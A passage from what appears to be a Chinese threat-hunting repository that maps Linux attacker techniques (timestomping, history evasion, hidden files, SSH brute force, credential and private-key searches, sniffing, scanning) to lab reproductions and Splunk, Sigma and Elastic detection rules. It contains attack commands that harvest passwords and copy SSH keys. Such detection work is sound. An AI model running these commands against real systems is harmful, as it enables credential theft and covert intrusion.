将所指定的每个文件的访问时间和修改时间更改为当前时间。
除非提供 -c 或 -h 选项,否则指定不存在的文件将会被创建为空文件。
如果所指定文件名为 - 则特殊处理,程序将更改与标准输出相关联的文件的
访问时间。
必选参数对长短选项同时适用。
- a 只更改访问时间
- c, --no-create 不创建任何文件
- d, --date=字符串 使用指定字符串表示时间而非当前时间
- f (忽略)
- h, --no-dereference 会影响符号链接本身,而非符号链接所指示的目的地
(当系统支持更改符号链接的所有者时,此选项才有用)
- m 只更改修改时间
- r, --reference=文件 使用指定文件的时间属性而非当前时间
- t 时间戳 使用给定 [[CC]YY]MMDDhhmm[.ss] 的时间戳而非当前时间
- -time=类型 修改指定类型的时间:
若所指定类型是 access、atime 或 use:与 -a 等效
若所指定类型是 modify 或 mtime:与 -m 等效
- -help 显示此帮助信息并退出
- -version 显示版本信息并退出
请注意,-d 和-t 选项可接受不同的时间/日期格式。
GNU coreutils 在线帮助:
请向 报告 touch 的翻译错误
完整文档请见:
或者在本地使用:info '(coreutils) touch invocation'
```
## 检测日志
Linux Audit、History
## 测试复现
### 测试1 SET A FILE’S ACCESS TIMESTAMP
```
bash
touch -a -t 197001010000.00 #{target_filename}
```
查看
```
bash
sos@sos-pc:/hacker$ sudo touch -a -t 197001010000.00 test.txt
sos@sos-pc:/hacker$ stat test.txt
文件:test.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018665 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:1970-01-01 00:00:00.000000000 +0800
最近更改:2022-01-09 19:47:00.397395450 +0800
最近改动:2022-01-09 19:47:09.966100333 +0800
创建时间:-
```
成功复现
### 测试2 SET A FILE’S MODIFICATION TIMESTAMP
```
bash
touch -m -t 197001010000.00 #{target_filename}
```
查看
```
bash
sos@sos-pc:/hacker$ stat test.txt
文件:test.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018665 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:1970-01-01 00:00:00.000000000 +0800
最近更改:2090-01-01 00:00:00.000000000 +0800
最近改动:2022-01-09 19:48:28.929618189 +0800
创建时间:-
```
成功复现
### 测试3 SET A FILE’S CREATION TIMESTAMP
先修改系统时间,然后创建文件,然后再把系统时间修改过来
```
bash
date -s "1990-01-01 00:00:00"
touch #{target_filename}
date -s "$NOW"
```
未复现成功
### 测试4 MODIFY FILE TIMESTAMPS USING REFERENCE FILE
```
bash
touch -acmr #{reference_file_path} {target_file_path}
```
查看
```
bash
sos@sos-pc:/hacker$ sudo touch -acmr /hacker/hfish/config.ini /hacker/one.txt
sos@sos-pc:/hacker$ stat one.txt
文件:one.txt
大小:0 块:0 IO 块:4096 普通空文件
设备:805h/2053d Inode:3018666 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:2021-02-02 17:57:52.294812586 +0800
最近更改:2020-12-21 16:54:40.000000000 +0800
最近改动:2022-01-09 19:55:55.945380351 +0800
创建时间:-
```
成功复现
## 日志留痕
```
bash
918 sudo touch -a -t 197001010000.00 test.txt
919 stat test.txt
920 sudo touch -m -t 209001010000.00 test.txt
921 stat test.txt
```
## 检测规则/思路
### sigma规则
对相关命令进行检测是一种简单的方法,但是会存在绕过风险。
### 建议
现有的取证技术可以检测出时间戳被修改的文件的各个方面。可以使用文件修改监控来检测时间戳,该监控收集文件打开的信息,并可以比较时间戳值。
## 参考推荐
MITRE-ATT&CK-T1036
跟着ATT&CK学安全之defense-evasion
================================================
FILE: Linux/07逃避防御/T1222-002-linux-文件权限修改.md
================================================
# T1222-002-Linux-文件权限修改
## 来自ATT&CK的描述
文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异,但通常明确指定那些用户/组可以执行那些操作(例如:读取、写入、执行等)。
攻击者可以修改文件权限/属性来逃避预定的DACL策略,修改可能包括更改特定的访问权限,这可能需要获取文件的所有权或提升权限,例如:administer/root,具体取决于文件的现有权限。特定文件修改可能是许多技术的必需步骤,例如通过辅助功能,登陆脚本建立持久性,或者污染/劫持其他工具的配置文件等。
## 测试案例
chmod 766 abc.txt
chmod u+x abc.txt #abc.txt文件属主权限,具有执行权限
chmod o-x abc.txt #取消其他用户对abc.txt的执行权限
chown runoob:runoobgroup abc.txt 将文件 abc.txt 的拥有者设为 runoob,群体的使用者 runoobgroup
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ sudo chmod 766 abc.txt
......
icbc@icbc:~$ sudo chmod u+x abc.txt
## 测试留痕
基于audit日志
暂无
基于历史记录
icbc@icbc:~$ histroy
646 sudo chmod 766 abc.txt
647 sudo chmod u+x abc.txt
## 检测规则/思路
### splunk规则
#### 基于audit日志
index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe
#### 基于bash历史记录
index=linux sourcetype="bash_history" bash_command="chmod *" OR bash_command="chown*" | table host,user_name,bash_command
### 建议
值的注意的是:你需要创建一个白名单进行数据降噪,否则你可能会在无休止的去误报的路上越走越远。
## 参考推荐
MITRE-ATT&CK-T1222-002
Audit配置手册
DACL自主访问控制列表
linux下chmod命令用法
linux下chown命令用法
================================================
FILE: Linux/07逃避防御/T1562-003-linux-Histcontrol.md
================================================
# T1562-003-Linux-Histcontrol
## 来自ATT&CK的描述
在HISTCONTROL环境变量决定了是否保存history命令,并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以空格开头的命令,只需将其设置为“ignorespace”即可。HISTCONTROL也可以设置为忽略重复命令,其使用方法是将其设置为“ignoredups”。在某些Linux系统中,默认设置为“ignoreboth”,它涵盖了前面的两个示例。这意味着“ls”将不会被保存,但“ls”将被历史保存。HISTCONTROL默认情况下在macOS上不存在,但可以由用户设置并且将受到保护。攻击者可以通过简单的在其所有终端命令之前添加空格来使用它进行操作操作而不留下痕迹。
## 测试案例
export HISTCONTROL=ignoreboth
## 检测日志
bash历史记录
## 测试复现
icbc@icbc:/$ ls
icbc@icbc:/$ history
1 ls
icbc@icbc:/$ export HISTCONTROL=ignoreboth
icbc@icbc:/$ ls
## 测试留痕
icbc@icbc:/$ history
1 ls
2 export HISTCONTROL=ignoreboth
3 history
## 检测规则/思路
### splunk规则
index=linux sourcetype="bash_history" export HISTCONTROL | table host, user_name, bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1562-003
linux history命令详解
================================================
FILE: Linux/07逃避防御/T1564-001-linux-隐藏文件和目录.md
================================================
# T1564-001-Linux-隐藏文件和目录
## 来自ATT&CK的描述
为了防止普通用户误操作更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时,这些文件不会显示。用户必须明确要求通过一系列图形用户界面(GUI)提示或命令行查看隐藏文件。例如(windows下的dir /a,linux或MAC下的ls -a命令等)
攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹,以便持久化并逃避不进行隐藏文件分析的用户或分析师。
linux/mac
用户可以将特定文件标记为隐藏,只需将“.”作为文件或文件夹名称中的第一个字符。默认情况下,以点“.”开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序(如“ls”)中查看。用户必须专门更改设置才能查看这些文件。对于命令行用法,通常会有一个标志来查看所有文件(包括隐藏文件)。要在Finder应用程序中查看这些文件,必须执行以下命令:defaults write com.apple.finder AppleShowAllFiles YES,然后重新启动Finder应用程序。
## 测试案例
mkdir .xx -a #创建一个隐藏文件夹
mv file to a .file #移动文件到目录a下并修改为隐藏文件
## 检测日志
bash历史记录
值得注意的是:你可以从一些特定目录路径中查找到隐藏文件/目录,并将其转储到某个位置。提取出可以文件夹并查找恶意隐藏文件。
## 测试复现
icbc@icbc:/xx$ sudo mkdir .xx-a
icbc@icbc:/xx$ sudo mv 1.sh /xx/.sh
## 测试留痕
icbc@icbc:/$ history
1 sudo mkdir .xx-a
2 sudo mv 1.sh /xx/.sh
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history bash_command="mkdir .*" | table host,user_name,bash_command
index=linux sourcetype=bash_history bash_command="mv *.*" | table host,user_name,bash_command
### 建议
值得注意的是:你也可以通过命令直接在问题主机上进行查找,当然,你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录。这样可以减轻误报。
find_hidden_files.sh
```
dos
find /home/ -name ".*"
find /home/ -type d -name ".*"
find /home/ -type f -name ".*"
```
## 相关TIP
[[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]]
[[T1564-001-win-隐藏的文件和目录]]
[[T1564-003-win-隐藏窗口]]
## 参考推荐
MITRE-ATT&CK-T1564-001
================================================
FILE: Linux/08凭证访问/T1110-003-Linux-SSH暴力破解.md
================================================
# T1110-003-Linux-SSH暴力破解
## 来自ATT&CK的描述
当密码未知时,攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录以及帐户锁定,账户锁定具体取决于所设置的登录失败策略。
通常,可以对使用常用端口上的服务进行密码喷射攻击。常见linux服务包括以下内容:
- SSH(22/TCP)
- Telnet(23/TCP)
- FTP(21/ TCP)
## 测试案例
以下经典工具可用于端口爆破:
- Hydra
- Medusa
- Patator
- Brutepray
- ……
## 检测日志
linux 系统日志(auth.log)
linux audit日志
## 测试复现
```
shell
root@icbc:/hacker/mima# hydra -l root -P passwd.txt ssh://192.168.159.132 -V
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
```
## 测试留痕
auth.log
```
log
Failed password for root from 192.168.159.129 port 43728 ssh2
```
audit.log
```
log
type=USER_AUTH msg=audit(1572163129.581:316): pid=2165 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.159.129 addr=192.168.159.129 terminal=ssh res=failed'
```
## 检测规则/思路
### sigma规则
```
yml
title: linux下ssh暴力破解
description: Ubuntu18.04、kali
references:
tags: T1110-003
status: experimental
author: 12306Bro
logsource:
product: linux
service: auth.log/audit.log
detection:
keywords:
- 'Failed password for * ssh2' #linux auth.log
- '* exe="/usr/sbin/sshd" * terminal=ssh res=failed' #linux audit.log
condition: keywords
level: medium
```
### elk公布检测规则
```
yml
query = '''
sequence by host.id, source.ip, user.name with maxspan=3s
[authentication where event.action in ("ssh_login", "user_login") and
event.outcome == "failure" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] with runs=2
[authentication where event.action in ("ssh_login", "user_login") and
event.outcome == "success" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ]
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1110-003
================================================
FILE: Linux/08凭证访问/T1552-001-linux-文件中的凭据.md
================================================
# T1552-001-Linux-文件中的凭据
## 来自ATT&CK的描述
攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件,一组个人的共享凭据存储,包含系统或服务密码的配置文件或包含嵌入式密码的源代码/二进制文件。
可以通过OS Credential Dumping从备份或保存的虚拟机中提取密码。也可以从Windows域控制器上存储的组策略首选项中获取密码。
在云环境中,经过身份验证的用户凭据通常存储在本地配置和凭据文件中。在某些情况下,可以将这些文件复制并在另一台机器上重复使用,或者可以读取内容,然后将其用于身份验证,而无需复制任何文件。
## 测试案例
grep -riP password #{想要查找的文件路径}
grep -riP password /
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ grep -riP passwd /etc/passwd
## 测试留痕
### audit日志
icbc@icbc:/$ gedit /var/log/audit/audit.log
type=SYSCALL msg=audit(1563526266.080:744): arch=c000003e syscall=59 success=yes exit=0 a0=55f3435691b0 a1=55f3434345d0 a2=55f343573580 a3=8 items=2 ppid=2031 pid=4855 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="grep" exe="/usr/bin/grep" key="auditcmd"
type=EXECVE msg=audit(1563526266.080:744): argc=5 a0="grep" a1="--color=auto" a2="-riP" a3="passwd" a4="/etc/passwd"
type=CWD msg=audit(1563526266.080:744): cwd="/"
type=PATH msg=audit(1563526266.080:744): item=0 name="/usr/bin/grep" inode=2228723 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
### bash历史记录
icbc@icbc:/$ history
1 grep -riP passwd /etc/passwd
## 检测规则/思路
### splunk规则
audit日志
```
yml
index=linux sourcetype=linux_audit type=execve a0=grep a0="grep" a1="--color=auto" a2="-riP" a3="passwd"
```
### splunk规则
bash 历史记录
```
yml
index=linux sourcetype="bash_history" grep password | table host,user_name,bash_command
```
### sigma规则
值得注意的是:你需要自行配置Audit审核规则
```
yml
title: 攻击者查看linux下可能包含用户账户密码的文件
description: Ubuntu18.04
references: https://github.com/12306Bro/Threathunting/blob/master/T1081-linux-文件中的凭证.md
tags: T1552-001
status: experimental
author: 12306Bro
logsource:
product: linux
service: audit(需要自行配置audit规则)
detection:
keywords:
- comm="grep" exe="/bin/grep" key="audit_110"
condition: keywords
logsource:
product: linux
service: history
detection:
selection:
keywords:
- grep * passwd
condition: keywords
level: medium
```
### 建议
暂无
## 相关TIP
[[T1552-001-win-文件中的凭证]]
[[T1552-002-win-注册表中的凭证]]
[[T1552-003-linux-Bash历史]]
[[T1552-004-linux-私钥]]
[[T1552-006-win-GPP-凭证转储]]
## 参考推荐
MITRE-ATT&CK-T1552-001
================================================
FILE: Linux/08凭证访问/T1552-003-linux-Bash历史.md
================================================
# T1552-003-Linux-Bash历史记录
## 来自ATT&CK的描述
Bash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户,此文件位于同一位置:`~/.bash_history`。通常,此文件会跟踪用户的最近500个命令。用户通常在命令行上键入用户名和密码作为程序的参数,然后在注销时将其保存到此文件中。攻击者可以通过滥用此功能来查看文件来查看潜在凭据。
## 测试案例
cat #{bash历史命令名字} | grep #{bash历史命令关键词检索} > #{输出文件名}
sudo cat ~/.bash_history | grep password > bash.txt
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt
## 测试留痕
### audit日志
icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt
type=PATH msg=audit(1563528127.048:1097): item=0 name="/usr/bin/cat" inode=2228383 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1563528127.048:1097): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=2237074 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1563528127.048:1097): proctitle=636174002F726F6F742F2E626173685F686973746F7279
type=SYSCALL msg=audit(1563528127.056:1099): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd4ebbb73b a2=0 a3=0 items=1 ppid=5249 pid=5258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="cat" exe="/usr/bin/cat" key="bash_history_110"
type=CWD msg=audit(1563528127.056:1099): cwd="/root"
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
### bash历史记录
icbc@icbc:/$ history
1 sudo cat ~/.bash_history | grep password > bash.txt
## 检测规则/思路
### splunk规则
audit 日志
```
yml
index=linux sourcetype="linux_audit" syscall=257 key=bash_history_110 | table host,auid,syscall,syscall_name,exe
```
值得注意的是:你需要自行配置Audit审核规则
```
history
sudo auditctl -w ~/.bash_history -k bash_history_110
```
bash 历史记录
```
yml
index=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command
```
### sigma规则
```
yml
title: 攻击者读取linux下~/.bash_history文件,查看是否包含相关凭据密码
description: Ubuntu18.04
references: https://github.com/12306Bro/Threat-hunting/blob/master/T1139-linux-Bash历史记录.md
tags: T1552-003
status: experimental
author: 12306Bro
logsource:
product: linux
service: audit
detection:
keywords:
- syscall=257 key=bash_history_110
condition: keywords
- ---------------------------------------------------------------------------------------
logsource:
product: linux
service: history
detection:
selection:
keywords:
- cat bash_history
condition: keywords
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1552-003
Audit配置手册
================================================
FILE: Linux/08凭证访问/T1552-004-linux-私钥.md
================================================
# T1552-004-Linux-私钥
## 来自ATT&CK的描述
攻击者可以从被入侵的系统上收集私钥,用于对SSH等远程服务进行身份验证(暴力破解等),或者用于解密其他收集的文件,如电子邮件。通用密钥和证书文件扩展名包括:.key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ;攻击者还可以查看常见的密钥目录,例如基于linux/unix的系统下的~/.ssh目录或Windows 上的SSH密钥C:\Users(username).ssh\。
私钥应该需要密码来进行操作,因此攻击者也可以使用键盘记录获取密码或尝试离线爆破账号密码。
## 测试案例
find / -type f ( -name "*.pem" -o -name "*.pgp" -o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" -o -name "*.key" -o -name "*.pfx" -o -name "*.cer" -o -name "*.p7b" -o -name "*.asc" -o -name "authorized*" )
查找用户的SSH私钥:find / -name id_rsa OR find / -name id_dsa
使用CP复制SSH私钥:find / -name id_rsa -exec cp --parents {} #{output_folder} ;
find / -name id_dsa -exec cp --parents {} #{output_folder} ;
使用rsync复制SSH私钥:find / -name id_rsa -exec rsync -R {} #{output_folder} ;
find / -name id_dsa -exec rsync -R {} #{output_folder} ;
## 检测日志
bash历史记录
## 测试复现
icbc@icbc:/$ sudo find / -name id_rsa
不再进行一一测试
## 测试留痕
icbc@icbc:/$ history
639 sudo find / -name id_rsa
## 检测规则/思路
### sigma规则
```
yml
title: 攻击者查找linux下私钥文件
description: Ubuntu18.04
references: https://github.com/12306Bro/Threathunting/blob/master/T1145-linux-私钥.md
tags: T1552-004
status: experimental
author: 12306Bro
logsource:
product: linux
service: history
detection:
keywords:
- sudo find / -name *.pgp
- sudo find / -name *.pem
- sudo find / -name *.ppk
- sudo find / -name *.p12
- sudo find / -name *.key
condition: keywords
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1552-004
linux下的rsync六个使用实例
================================================
FILE: Linux/09发现/T1040-linux-网络嗅探.md
================================================
# T1040-Linux-网络嗅探
## 来自ATT&CK的描述
网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数据。
通过该技术可以捕获的数据包括用户凭证,尤其是通过不安全的未加密协议发送的凭证;网络嗅探还可以获取到配置细节,例如运行服务,版本号以及后续横向移动或防御逃避活动所需的其他网络特征(例如:IP寻址,主机名,VLAN ID)。
## 测试案例
tcpdump -c 5 -nnni #{网卡接口}
tshark -c 5 -i #{网卡接口}
## 检测日志
linux /var/log/message (值得注意的是:Ubuntu下默认不开启message日志,需要手动开启)
## 测试复现
### 场景一
root@icbc:~# tcpdump -c 5 -nnni ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58)
5 packets captured
5 packets received by filter
0 packets dropped by kernel
### 场景二
root@icbc:~# tshark -c 5 -i ens33
Running as user "root" and group "root". This could be dangerous.
Capturing on 'ens33'
1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT
2 0.038532840 Vmware_e8:11:b3 → Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2
3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7
4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT
5 0.039670671 192.168.66.148 → 35.222.85.5 TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128
5 packets captured
## 测试留痕
### 场景1
message日志
Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode
### 场景2
message日志
Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories.
Jul 19 10:47:50 icbc kernel: [ 915.199848] device ens33 left promiscuous mode
Jul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB
## 检测规则/思路
### splunk检测规则
index=linux sourcetype=syslog entered promiscuous mode | table host,message
index=linux sourcetype=syslog left promiscuous mode | table host,message
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1040
================================================
FILE: Linux/09发现/T1046-linux-使用nping扫描探测.md
================================================
# T1046-Linux-使用nping扫描探测
## 来自ATT&CK的描述
攻击者可能会尝试获取在远程主机和本地网络基础设施设备上运行的服务列表,包括那些可能容易受到远程软件利用的服务。获取此信息的常用方法包括使用系统自带的工具进行端口或漏洞扫描。
## 测试案例
Nping允许用户发送多种协议(TCP、UDP、ICMP和ARP协议)的数据包。可以调整协议头中的字段,例如可以设置TCP和UDP的源端口和目的端口。
主要功能------------------------------------------------------------------------------------------------------------
- 发送ICMP echo请求
- 对网络进行压力测试
- ARP毒化攻击
- DoS攻击
- 支持多种探测模式
- 可以探测多个主机的多个端口
nping常用参数:
用法:nping [Probe mode][Options] {target specification}
Probe mode(探测模式)
- -tcp-connect 无特权的tcp连接探测模式;
- -tcp TCP探测模式
- -udp --icmp --arp
- tr,--traceroute 路由跟踪模式(仅能和tcp、udp、icmp模式一起使用)
- p, --dest-port 目标端口
- g, --source-port 源端口
- -seq 设置序列号
- -flags 设置tcp标识(ack,psh,rst,syn,fin)
- -ack 设置ack数
- S,--source-ip 设置源IP地址
- -dest-ip 目的IP地址
- c 设置次数
- e,--interface 接口
- H,--hide-sent 不显示发送的包
- N,--no-capture 不抓获回复包
- v 增加冗余等级
- q 减少冗余登记
## 检测日志
linux日志
## 测试复现
向目标主机的22端口发送一次TCP数据包,用于查看主机是否开启SSH服务。
```
bash
liu@Parallels:/var/log$ sudo nping -c 1 -p 22 192.168.50.128-129 --tcp
Starting Nping 0.7.60 ( https://nmap.org/nping ) at 2022-09-24 23:53 CST
SENT (0.0589s) TCP 10.211.55.48:15023 > 192.168.50.128:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------
SENT (1.0599s) TCP 10.211.55.48:15023 > 192.168.50.129:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------
Statistics for host 192.168.50.128:
| Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%)
|_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Statistics for host 192.168.50.129:
| Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%)
|_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 2 (80B) | Rcvd: 0 (0B) | Lost: 2 (100.00%)
Nping done: 2 IP addresses pinged in 2.10 seconds
```
## 测试留痕
暂无
## 检测规则/思路
### Elastic
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:nping
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1046
Nping Process Activity
Kali基本扫描工具
================================================
FILE: Linux/09发现/T1082-linux-Hping存活主机发现.md
================================================
# T1082-Linux-系统信息发现
## 来自ATT&CK的描述
攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是否完全感染了目标或尝试了特定操作。
## 测试案例
hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
## 检测日志
Linux audit日志
## 测试复现
```
bash
yyds@12306Br0:/var/log/audit$ sudo hping3 -I enp0s5 -S 10.211.55.35 -p 22
[sudo] yyds 的密码:
HPING 10.211.55.35 (enp0s5 10.211.55.35): S set, 40 headers + 0 data bytes
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=7.3 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=1 win=0 rtt=8.4 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=2 win=0 rtt=6.6 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=3 win=0 rtt=6.3 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=4 win=0 rtt=1.8 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=5 win=0 rtt=6.0 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=6 win=0 rtt=8.5 ms
```
注意权限问题,权限过低会报错
## 测试留痕
```
yml
type=SYSCALL msg=audit(1654607530.513:15004): arch=c000003e syscall=59 success=yes exit=0 a0=55b2b32403f8 a1=55b2b31eacb0 a2=55b2b3241ed0 a3=0 items=2 ppid=36880 pid=36881 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=2 comm="hping3" exe="/usr/sbin/hping3" subj=? key="rootcmd"ARCH=x86_64 SYSCALL=execve AUID="yyds" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=EXECVE msg=audit(1654607530.513:15004): argc=7 a0="hping3" a1="-I" a2="enp0s5" a3="-S" a4="10.211.55.35" a5="-p" a6="22"
```
## 检测规则/思路
### elastic规则
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:(hping or hping2 or hping3)
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1082
discovery_linux_hping_activity
kali工具-信息收集之存活主机识别(Hping)
================================================
FILE: Linux/09发现/T1087-001-linux-本地账户发现.md
================================================
# T1087-001-Linux-本地账户发现
## 来自ATT&CK的描述
攻击者可能会尝试获取本地系统帐户的列表。此信息可以帮助攻击者确定系统上存在哪些本地帐户,以帮助后续行为。
在Linux上,可以通过使用/etc/passwd的文件来枚举本地用户。在mac中,除文件外,此相同文件仅用于单用户模式/etc/master.passwd。此外,可以通过groups和id命令枚举组。
## 测试案例
枚举所有账户:cat /etc/passwd
查看sudoers文件:cat /etc/sudoers
查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
显示用户帐户是否有远程记录器:lastlog
枚举用户和组:groups 或者 id
## 检测日志
bash历史记录
## 测试复现
枚举所有账户:cat /etc/passwd
查看sudoers文件:cat /etc/sudoers (需要root权限)
查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
显示用户帐户是否有远程记录器:lastlog
枚举用户和组:groups(需要root权限) 或者 id
## 测试留痕
root@icbc:~/Desktop$ history
385 cat /etc/passwd
386 cat /etc/sudoers
387 username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
388 lastlog
389 groups
390 id
391 history
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command
index=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command
index=linux sourcetype=bash_history "lsof -u *" | table host,user_name,bash_command
index=linux sourcetype=bash_history lastlog | table host,user_name,bash_command
index=linux sourcetype=bash_history group OR id | table host,user_name,bash_command
### 建议
值得注意的是:应该结合上下文中查看研判,而不是单独依靠关键词检测,因为系统管理员经常使用这些命令进行合法操作。
## 参考推荐
MITRE-ATT&CK-T1087-001
linux UID详解
linux ID查看命令详解
================================================
FILE: Linux/09发现/T1557-002-linux-ARP网络嗅探.md
================================================
# T1557-002-Linux-ARP网络嗅探
## 来自ATT&CK的描述
攻击者可能会在地址解析协议(ARP)缓存中下毒,将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为,如网络嗅探或传输数据操纵。
ARP协议用于将IPv4地址解析为链路层地址,如媒体访问控制(MAC)地址。本地网段中的设备通过使用链路层地址相互通信。如果一个联网设备没有特定联网设备的链路层地址,它可以向本地网络发出广播ARP请求,将IP地址翻译成MAC地址。拥有相关IP地址的设备会直接回复其MAC地址。发出ARP请求的联网设备就会使用以及在其ARP缓存中存储该信息。
